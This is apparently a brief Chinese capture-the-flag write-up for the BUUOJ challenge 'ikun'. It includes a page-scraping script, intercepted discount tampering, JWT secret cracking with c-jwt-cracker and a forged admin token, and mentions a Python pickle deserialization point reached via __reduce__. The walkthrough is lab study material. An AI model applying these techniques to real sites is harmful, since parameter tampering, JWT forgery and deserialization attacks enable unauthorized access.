[华北赛区]ikun

爆lv6

import requests

for i in range(512):
    url = f"http://78cd9dcd-96d8-4fb8-9785-be448ad9dc9e.node3.buuoj.cn/shop?page={i}"
    response = requests.get(url=url)
    if response.text.find("lv6.png") != -1:
        print(i)
        break

在181页,抓包修改折扣倍率,跳转到b1g_m4mber,提示需要admin才能访问,抓包发现是JWT认证。

使用c-jwt-cracker爆破

$ docker build . -t jwtcrack
$ docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.dDz06h0lkd5_0DT8vUVcGLBGvX2btxx2AyJJCQWkEoQ
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

有源码泄露,在Admin.py中找到反序列化点。

__reduce__方法在反序列化时被调用,类似PHP的wakeup,参考王叹之的脚本。

比较重要的是这题的环境是python2的,python2和python3的反序列化是不一样的,当时卡了比较久。

Last updated